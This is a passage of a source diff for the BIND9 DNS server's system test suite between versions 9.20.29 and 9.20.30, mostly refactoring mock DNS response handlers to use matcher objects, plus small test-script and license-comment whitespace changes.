[soa_rrset("example.net.")] -class CnameSubHandler(QnameHandler, StaticResponseHandler): - qnames = ["cname.sub.example.org."] - answer = [rrset(qnames[0], dns.rdatatype.CNAME, "ok.sub.example.org.")] +class CnameSubHandler(StaticResponseHandler): + matcher = Qname("cname.sub.example.org.") + answer = [rrset(matcher.qnames[0], dns.rdatatype.CNAME, "ok.sub.example.org.")] -class ExampleOrgHandler(QnameQtypeHandler, StaticResponseHandler): - qnames = ["example.org."] - qtypes = [dns.rdatatype.A] - answer = [rrset(qnames[0], qtypes[0], "1.2.3.4")] +class ExampleOrgHandler(StaticResponseHandler): + matcher = Qname("example.org.") & Qtype(dns.rdatatype.A) + answer = [ + rrset(matcher.of(Qname).qnames[0], matcher.of(Qtype).qtypes[0], "1.2.3.4") + ] -class FooBadDnameHandler(QnameHandler, StaticResponseHandler): - qnames = ["foo.baddname.example.net."] +class FooBadDnameHandler(StaticResponseHandler): + matcher = Qname("foo.baddname.example.net.") answer = [ rrset("baddname.example.net.", dns.rdatatype.DNAME, "baddname.example.org.") ] -class FooBarSubTld1Handler(QnameHandler, StaticResponseHandler): - qnames = ["foo.bar.sub.tld1."] - answer = [rrset(qnames[0], dns.rdatatype.TXT, "baz")] +class FooBarSubTld1Handler(StaticResponseHandler): + matcher = Qname("foo.bar.sub.tld1.") + answer = [rrset(matcher.qnames[0], dns.rdatatype.TXT, "baz")] -class FooGlueInAnswerHandler(QnameHandler, StaticResponseHandler): - qnames = ["foo.glue-in-answer.example.org."] - answer = [rrset(qnames[0], dns.rdatatype.A, "192.0.2.1")] +class FooGlueInAnswerHandler(StaticResponseHandler): + matcher = Qname("foo.glue-in-answer.example.org.") + answer = [rrset(matcher.qnames[0], dns.rdatatype.A, "192.0.2.1")] -class FooGoodDnameHandler(QnameHandler, StaticResponseHandler): - qnames = ["foo.gooddname.example.net."] +class FooGoodDnameHandler(StaticResponseHandler): + matcher = Qname("foo.gooddname.example.net.") answer = [ rrset("gooddname.example.net.", dns.rdatatype.DNAME, "gooddname.example.org.") ] -class GoodCnameHandler(QnameHandler, StaticResponseHandler): - qnames = ["goodcname.example.net."] - answer = [rrset(qnames[0], dns.rdatatype.CNAME, "goodcname.example.org.")] +class GoodCnameHandler(StaticResponseHandler): + matcher = Qname("goodcname.example.net.") + answer = [rrset(matcher.qnames[0], dns.rdatatype.CNAME, "goodcname.example.org.")] -class IscHandler(QnameQtypeHandler, StaticResponseHandler): - qnames = ["isc.org."] - qtypes = [dns.rdatatype.A] - answer = [rrset(qnames[0], qtypes[0], "1.2.3.4")] +class IscHandler(StaticResponseHandler): + matcher = Qname("isc.org.") & Qtype(dns.rdatatype.A) + answer = [ + rrset(matcher.of(Qname).qnames[0], matcher.of(Qtype).qtypes[0], "1.2.3.4") + ] class LameExampleOrgDelegation(DelegationHandler): @@ -115,12 +116,11 @@ server_number = 3 -class LargeReferralHandler(QnameQtypeHandler, StaticResponseHandler): - qnames = ["large-referral.example.net."] - qtypes = [dns.rdatatype.NS] +class LargeReferralHandler(StaticResponseHandler): + matcher = Qname("large-referral.example.net.") & Qtype(dns.rdatatype.NS) authority = [ rrset_from_list( - qnames[0], + matcher.of(Qname).qnames[0], dns.rdatatype.NS, [f"ns{i}.fake.redirect.com." for i in range(1, 1000)], ) @@ -128,8 +128,7 @@ class LongCnameHandler(ResponseHandler): - def match(self, qctx: QueryContext) -> bool: - return qctx.qname.labels[0].startswith(b"longcname") + matcher = LeftmostLabelPrefix(b"longcname") async def get_responses( self, qctx: QueryContext @@ -142,26 +141,26 @@ yield DnsResponseSend(qctx.response) -class NodataHandler(QnameHandler, StaticResponseHandler): - qnames = ["nodata.example.net."] +class NodataHandler(StaticResponseHandler): + matcher = Qname("nodata.example.net.") -class NoresponseHandler(QnameHandler, IgnoreAllQueries): - qnames = ["noresponse.example.net."] +class NoresponseHandler(IgnoreAllQueries): + matcher = Qname("noresponse.example.net.") -class NsHandler(QnameHandler, StaticResponseHandler): - qnames = ["ns.example.net."] - answer = [rrset(qnames[0], dns.rdatatype.A, "10.53.0.3")] +class NsHandler(StaticResponseHandler): + matcher = Qname("ns.example.net.") + answer = [rrset(matcher.qnames[0], dns.rdatatype.A, "10.53.0.3")] -class NxdomainHandler(QnameHandler, StaticResponseHandler): - qnames = ["nxdomain.example.net."] +class NxdomainHandler(StaticResponseHandler): + matcher = Qname("nxdomain.example.net.") rcode = dns.rcode.NXDOMAIN -class OkSubHandler(QnameHandler): - qnames = ["ok.sub.example.org.", "www.ok.sub.example.org."] +class OkSubHandler(ResponseHandler): + matcher = Qname("ok.sub.example.org.", "www.ok.sub.example.org.") async def get_responses( self, qctx: QueryContext @@ -170,8 +169,8 @@ yield DnsResponseSend(qctx.response) -class PartialFormerrHandler(DomainHandler): - domains = ["partial-formerr."] +class PartialFormerrHandler(ResponseHandler): + matcher = Domain("partial-formerr.") async def get_responses( self, qctx: QueryContext @@ -182,20 +181,20 @@ yield DnsResponseSend(qctx.response) -class WwwDnameSubHandler(QnameHandler, StaticResponseHandler): - qnames = ["www.dname.sub.example.org."] +class WwwDnameSubHandler(StaticResponseHandler): + matcher = Qname("www.dname.sub.example.org.") answer = [ rrset("dname.sub.example.org.", dns.rdatatype.DNAME, "ok.sub.example.org.") ] -class WwwGoodDnameHandler(QnameHandler, StaticResponseHandler): - qnames = ["www.example.gooddname.example.net"] +class WwwGoodDnameHandler(StaticResponseHandler): + matcher = Qname("www.example.gooddname.example.net") answer = [rrset("gooddname.example.net.", dns.rdatatype.DNAME, "org.")] -class WwwHandler(QnameHandler): - qnames = ["www.example.net."] +class WwwHandler(ResponseHandler): + matcher = Qname("www.example.net.") async def get_responses( self, qctx: QueryContext diff -Nru bind9-9.20.29/bin/tests/system/resolver/ans8/ans.py bind9-9.20.30/bin/tests/system/resolver/ans8/ans.py --- bind9-9.20.29/bin/tests/system/resolver/ans8/ans.py 2026-09-11 19:41:01.323326735 +0000 +++ bind9-9.20.30/bin/tests/system/resolver/ans8/ans.py 2026-10-12 13:12:08.234896212 +0000 @@ -1,15 +1,13 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator @@ -23,14 +21,12 @@ from isctest.asyncserver import ( AsyncDnsServer, DnsProtocol, - DnsResponseSend, - DomainHandler, - QnameHandler, - QnameQtypeHandler, QueryContext, ResponseHandler, - StaticResponseHandler, ) +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.handlers import StaticResponseHandler +from isctest.asyncserver.matchers import Domain, Protocol, Qname, Qtype from ..resolver_ans import rrset @@ -59,18 +55,14 @@ yield DnsResponseSend(message, acknowledge_hand_rolled_response=True) -class RefusedOnTcpHandler(QnameHandler, HeaderOnlyHandler): - qnames = ["tcpalso.no-questions."] +class RefusedOnTcpHandler(HeaderOnlyHandler): + matcher = Qname("tcpalso.no-questions.") & Protocol(DnsProtocol.TCP) flags = dns.flags.QR rcode = dns.rcode.REFUSED - def match(self, qctx: QueryContext) -> bool: - return qctx.protocol == DnsProtocol.TCP and super().match(qctx) - class TcpFallbackHandler(ResponseHandler): - def match(self, qctx: QueryContext) -> bool: - return qctx.protocol == DnsProtocol.TCP + matcher = Protocol(DnsProtocol.TCP) async def get_responses( self, qctx: QueryContext @@ -79,20 +71,27 @@ yield DnsResponseSend(qctx.response) -class FormerrToAllHandler(DomainHandler, StaticResponseHandler): - domains = ["formerr-to-all."] +class FormerrToAllHandler(StaticResponseHandler): + matcher = Domain("formerr-to-all.") rcode = dns.rcode.FORMERR -class NoQuestionsNSHandler(QnameQtypeHandler, StaticResponseHandler): - qnames = ["no-questions."] - qtypes = [dns.rdatatype.NS] - answer = [rrset(qnames[0], dns.rdatatype.NS, f"ns.{qnames[0]}")] - additional = [rrset(f"ns.{qnames[0]}", dns.rdatatype.A, "10.53.0.8")] +class NoQuestionsNSHandler(StaticResponseHandler): + matcher = Qname("no-questions.") & Qtype(dns.rdatatype.NS) + answer = [ + rrset( + matcher.of(Qname).qnames[0], + dns.rdatatype.NS, + f"ns.{matcher.of(Qname).qnames[0]}", + ) + ] + additional = [ + rrset(f"ns.{matcher.of(Qname).qnames[0]}", dns.rdatatype.A, "10.53.0.8") + ] -class NsNoQuestionsAHandler(QnameHandler): - qnames = ["ns.no-questions."] +class NsNoQuestionsAHandler(ResponseHandler): + matcher = Qname("ns.no-questions.") async def get_responses( self, qctx: QueryContext @@ -103,14 +102,14 @@ yield DnsResponseSend(qctx.response) -class TcpalsoNoQuestionsHandler(QnameHandler, HeaderOnlyHandler): - qnames = ["tcpalso.no-questions."] +class TcpalsoNoQuestionsHandler(HeaderOnlyHandler): + matcher = Qname("tcpalso.no-questions.") flags = dns.flags.QR | dns.flags.TC rcode = dns.rcode.REFUSED -class TruncatedNoQuestionsHandler(QnameHandler, HeaderOnlyHandler): - qnames = ["truncated.no-questions."] +class TruncatedNoQuestionsHandler(HeaderOnlyHandler): + matcher = Qname("truncated.no-questions.") flags = dns.flags.QR | dns.flags.AA | dns.flags.TC diff -Nru bind9-9.20.29/bin/tests/system/resolver/resolver_ans.py bind9-9.20.30/bin/tests/system/resolver/resolver_ans.py --- bind9-9.20.29/bin/tests/system/resolver/resolver_ans.py 2026-09-11 19:41:01.328326854 +0000 +++ bind9-9.20.30/bin/tests/system/resolver/resolver_ans.py 2026-10-12 13:12:08.237896277 +0000 @@ -1,15 +1,13 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator from typing import NamedTuple @@ -21,12 +19,9 @@ import dns.rdatatype import dns.rrset -from isctest.asyncserver import ( - DnsResponseSend, - DomainHandler, - QnameHandler, - QueryContext, -) +from isctest.asyncserver import QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.matchers import Domain, Qname def rrset( @@ -76,21 +71,30 @@ qctx.response.additional.append(delegation.a_rrset) -class DelegationHandler(DomainHandler): +class DelegationHandler(ResponseHandler): + @property + @abc.abstractmethod + def domains(self) -> list[str]: + raise NotImplementedError + @property @abc.abstractmethod def server_number(self) -> int: raise NotImplementedError + def __init__(self) -> None: + self.matcher = Domain(*self.domains) + async def get_responses( self, qctx: QueryContext ) -> AsyncGenerator[DnsResponseSend, None]: - setup_delegation(qctx, self.matched_domain, self.server_number) + domain = self.matcher.of(Domain).matched_domain + setup_delegation(qctx, domain, self.server_number) yield DnsResponseSend(qctx.response, authoritative=False) -class Gl6412AHandler(QnameHandler): - qnames = ["a.gl6412.", "a.a.gl6412."] +class Gl6412AHandler(ResponseHandler): + matcher = Qname("a.gl6412.", "a.a.gl6412.") async def get_responses( self, qctx: QueryContext @@ -99,8 +103,8 @@ yield DnsResponseSend(qctx.response) -class Gl6412Handler(QnameHandler): - qnames = ["gl6412."] +class Gl6412Handler(ResponseHandler): + matcher = Qname("gl6412.") async def get_responses( self, qctx: QueryContext @@ -117,8 +121,8 @@ yield DnsResponseSend(qctx.response) -class Gl6412Ns2Handler(QnameHandler): - qnames = ["ns2.gl6412."] +class Gl6412Ns2Handler(ResponseHandler): + matcher = Qname("ns2.gl6412.") async def get_responses( self, qctx: QueryContext @@ -131,8 +135,8 @@ yield DnsResponseSend(qctx.response) -class Gl6412Ns3Handler(QnameHandler): - qnames = ["ns3.gl6412."] +class Gl6412Ns3Handler(ResponseHandler): + matcher = Qname("ns3.gl6412.") async def get_responses( self, qctx: QueryContext diff -Nru bind9-9.20.29/bin/tests/system/resolver/tests.sh bind9-9.20.30/bin/tests/system/resolver/tests.sh --- bind9-9.20.29/bin/tests/system/resolver/tests.sh 2026-09-11 19:41:01.328326854 +0000 +++ bind9-9.20.30/bin/tests/system/resolver/tests.sh 2026-10-12 13:12:08.238896298 +0000 @@ -684,7 +684,7 @@ ttl2=$(awk '/"A" "short" "ttl"/ { print $2 }' dig.out.2.${n}) test "${ttl2:-1}" -eq 0 && break test "${ttl2:-1}" -ge "${ttl1:-0}" && break - "${PERL}" -e 'select(undef, undef, undef, 0.05);' + "${PYTHON}" -c 'import time; time.sleep(0.05)' done test "${ttl2:-1}" -eq 0 && ret=1 test "${ttl2:-1}" -ge "${ttl1:-0}" || ret=1 diff -Nru bind9-9.20.29/bin/tests/system/resolver/tests_resolver.py bind9-9.20.30/bin/tests/system/resolver/tests_resolver.py --- bind9-9.20.29/bin/tests/system/resolver/tests_resolver.py 2026-09-11 19:41:01.328326854 +0000 +++ bind9-9.20.30/bin/tests/system/resolver/tests_resolver.py 2026-10-12 13:12:08.238896298 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/resolver/tests_sh_resolver.py bind9-9.20.30/bin/tests/system/resolver/tests_sh_resolver.py --- bind9-9.20.29/bin/tests/system/resolver/tests_sh_resolver.py 2026-09-11 19:41:01.328326854 +0000 +++ bind9-9.20.30/bin/tests/system/resolver/tests_sh_resolver.py 2026-10-12 13:12:08.238896298 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -19,7 +19,6 @@ "dig.*.bar.*", "dig.*.prime.*", "nextpart.out.*", - "ans*/ans.run", "ans*/query.log", "ns1/named.stats*", "ns4/tld.db", diff -Nru bind9-9.20.29/bin/tests/system/rfc5011/tests_rfc5011.py bind9-9.20.30/bin/tests/system/rfc5011/tests_rfc5011.py --- bind9-9.20.29/bin/tests/system/rfc5011/tests_rfc5011.py 2026-09-11 19:41:01.328326854 +0000 +++ bind9-9.20.30/bin/tests/system/rfc5011/tests_rfc5011.py 2026-10-12 13:12:08.238896298 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rndc/tests.sh bind9-9.20.30/bin/tests/system/rndc/tests.sh --- bind9-9.20.29/bin/tests/system/rndc/tests.sh 2026-09-11 19:41:01.330326902 +0000 +++ bind9-9.20.30/bin/tests/system/rndc/tests.sh 2026-10-12 13:12:08.240896341 +0000 @@ -838,5 +838,13 @@ if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) +n=$((n + 1)) +echo_i "check rndc -d sexpr printing ($n)" +ret=0 +$RNDCCMD 10.53.0.3 -d status >rndc.out.test$n 2>rndc.err.test$n || ret=1 +grep '("\*alist\*" ("_auth" "\*alist\*" ("hsha" . 0x[0-9a-f]*)) ("_ctrl" "\*alist\*" ("_ser" . '"'"'[0-9]*'"'"') ("_tim" . '"'"'[0-9]*'"'"') ("_exp" . '"'"'[0-9]*'"'"') ("_rpl" . '"'"'1'"'"') ("_nonce" . '"'"'[0-9]*'"'"')) ("_data" "\*alist\*" ("type" . '"'"'status'"'"') ("result" . '"'"'0'"'"') ("text" . 0x[0-9a-f]*)))' rndc.err.test$n >/dev/null || ret=1 +if [ $ret != 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + echo_i "exit status: $status" [ $status -eq 0 ] || exit 1 diff -Nru bind9-9.20.29/bin/tests/system/rndc/tests_cve_2023_3341.py bind9-9.20.30/bin/tests/system/rndc/tests_cve_2023_3341.py --- bind9-9.20.29/bin/tests/system/rndc/tests_cve_2023_3341.py 2026-09-11 19:41:01.330326902 +0000 +++ bind9-9.20.30/bin/tests/system/rndc/tests_cve_2023_3341.py 2026-10-12 13:12:08.240896341 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rndc/tests_sh_rndc.py bind9-9.20.30/bin/tests/system/rndc/tests_sh_rndc.py --- bind9-9.20.29/bin/tests/system/rndc/tests_sh_rndc.py 2026-09-11 19:41:01.330326902 +0000 +++ bind9-9.20.30/bin/tests/system/rndc/tests_sh_rndc.py 2026-10-12 13:12:08.240896341 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -15,6 +15,7 @@ [ "dig.out.*", "nsupdate.out.*", + "rndc.err.*", "rndc.out.*", "ns2/*.jnl", "ns2/named.stats", diff -Nru bind9-9.20.29/bin/tests/system/rndc_confgen/tests_rndc_confgen.py bind9-9.20.30/bin/tests/system/rndc_confgen/tests_rndc_confgen.py --- bind9-9.20.29/bin/tests/system/rndc_confgen/tests_rndc_confgen.py 2026-09-11 19:41:01.330326902 +0000 +++ bind9-9.20.30/bin/tests/system/rndc_confgen/tests_rndc_confgen.py 2026-10-12 13:12:08.240896341 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rollover/common.py bind9-9.20.30/bin/tests/system/rollover/common.py --- bind9-9.20.29/bin/tests/system/rollover/common.py 2026-09-11 19:41:01.330326902 +0000 +++ bind9-9.20.30/bin/tests/system/rollover/common.py 2026-10-12 13:12:08.240896341 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rollover/setup.py bind9-9.20.30/bin/tests/system/rollover/setup.py --- bind9-9.20.29/bin/tests/system/rollover/setup.py 2026-09-11 19:41:01.334326998 +0000 +++ bind9-9.20.30/bin/tests/system/rollover/setup.py 2026-10-12 13:12:08.243896405 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rollover/tests_rollover_algo_csk_initial.py bind9-9.20.30/bin/tests/system/rollover/tests_rollover_algo_csk_initial.py --- bind9-9.20.29/bin/tests/system/rollover/tests_rollover_algo_csk_initial.py 2026-09-11 19:41:01.334326998 +0000 +++ bind9-9.20.30/bin/tests/system/rollover/tests_rollover_algo_csk_initial.py 2026-10-12 13:12:08.244896426 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rollover/tests_rollover_algo_csk_reconfig.py bind9-9.20.30/bin/tests/system/rollover/tests_rollover_algo_csk_reconfig.py --- bind9-9.20.29/bin/tests/system/rollover/tests_rollover_algo_csk_reconfig.py 2026-09-11 19:41:01.334326998 +0000 +++ bind9-9.20.30/bin/tests/system/rollover/tests_rollover_algo_csk_reconfig.py 2026-10-12 13:12:08.244896426 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rollover/tests_rollover_algo_ksk_zsk_initial.py bind9-9.20.30/bin/tests/system/rollover/tests_rollover_algo_ksk_zsk_initial.py --- bind9-9.20.29/bin/tests/system/rollover/tests_rollover_algo_ksk_zsk_initial.py 2026-09-11 19:41:01.334326998 +0000 +++ bind9-9.20.30/bin/tests/system/rollover/tests_rollover_algo_ksk_zsk_initial.py 2026-10-12 13:12:08.244896426 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rollover/tests_rollover_algo_ksk_zsk_reconfig.py bind9-9.20.30/bin/tests/system/rollover/tests_rollover_algo_ksk_zsk_reconfig.py --- bind9-9.20.29/bin/tests/system/rollover/tests_rollover_algo_ksk_zsk_reconfig.py 2026-09-11 19:41:01.334326998 +0000 +++ bind9-9.20.30/bin/tests/system/rollover/tests_rollover_algo_ksk_zsk_reconfig.py 2026-10-12 13:12:08.244896426 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rollover/tests_rollover_csk_roll1.py bind9-9.20.30/bin/tests/system/rollover/tests_rollover_csk_roll1.py --- bind9-9.20.29/bin/tests/system/rollover/tests_rollover_csk_roll1.py 2026-09-11 19:41:01.334326998 +0000 +++ bind9-9.20.30/bin/tests/system/rollover/tests_rollover_csk_roll1.py 2026-10-12 13:12:08.244896426 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rollover/tests_rollover_csk_roll2.py bind9-9.20.30/bin/tests/system/rollover/tests_rollover_csk_roll2.py --- bind9-9.20.29/bin/tests/system/rollover/tests_rollover_csk_roll2.py 2026-09-11 19:41:01.335327022 +0000 +++ bind9-9.20.30/bin/tests/system/rollover/tests_rollover_csk_roll2.py 2026-10-12 13:12:08.244896426 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rollover/tests_rollover_dynamic2inline.py bind9-9.20.30/bin/tests/system/rollover/tests_rollover_dynamic2inline.py --- bind9-9.20.29/bin/tests/system/rollover/tests_rollover_dynamic2inline.py 2026-09-11 19:41:01.335327022 +0000 +++ bind9-9.20.30/bin/tests/system/rollover/tests_rollover_dynamic2inline.py 2026-10-12 13:12:08.244896426 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rollover/tests_rollover_enable_dnssec.py bind9-9.20.30/bin/tests/system/rollover/tests_rollover_enable_dnssec.py --- bind9-9.20.29/bin/tests/system/rollover/tests_rollover_enable_dnssec.py 2026-09-11 19:41:01.335327022 +0000 +++ bind9-9.20.30/bin/tests/system/rollover/tests_rollover_enable_dnssec.py 2026-10-12 13:12:08.244896426 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rollover/tests_rollover_going_insecure_initial.py bind9-9.20.30/bin/tests/system/rollover/tests_rollover_going_insecure_initial.py --- bind9-9.20.29/bin/tests/system/rollover/tests_rollover_going_insecure_initial.py 2026-09-11 19:41:01.335327022 +0000 +++ bind9-9.20.30/bin/tests/system/rollover/tests_rollover_going_insecure_initial.py 2026-10-12 13:12:08.244896426 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rollover/tests_rollover_going_insecure_reconfig.py bind9-9.20.30/bin/tests/system/rollover/tests_rollover_going_insecure_reconfig.py --- bind9-9.20.29/bin/tests/system/rollover/tests_rollover_going_insecure_reconfig.py 2026-09-11 19:41:01.335327022 +0000 +++ bind9-9.20.30/bin/tests/system/rollover/tests_rollover_going_insecure_reconfig.py 2026-10-12 13:12:08.244896426 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rollover/tests_rollover_ksk_doubleksk.py bind9-9.20.30/bin/tests/system/rollover/tests_rollover_ksk_doubleksk.py --- bind9-9.20.29/bin/tests/system/rollover/tests_rollover_ksk_doubleksk.py 2026-09-11 19:41:01.335327022 +0000 +++ bind9-9.20.30/bin/tests/system/rollover/tests_rollover_ksk_doubleksk.py 2026-10-12 13:12:08.245896448 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rollover/tests_rollover_lifetime_initial.py bind9-9.20.30/bin/tests/system/rollover/tests_rollover_lifetime_initial.py --- bind9-9.20.29/bin/tests/system/rollover/tests_rollover_lifetime_initial.py 2026-09-11 19:41:01.335327022 +0000 +++ bind9-9.20.30/bin/tests/system/rollover/tests_rollover_lifetime_initial.py 2026-10-12 13:12:08.245896448 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/rollover/tests_rollover_lifetime_reconfig.py 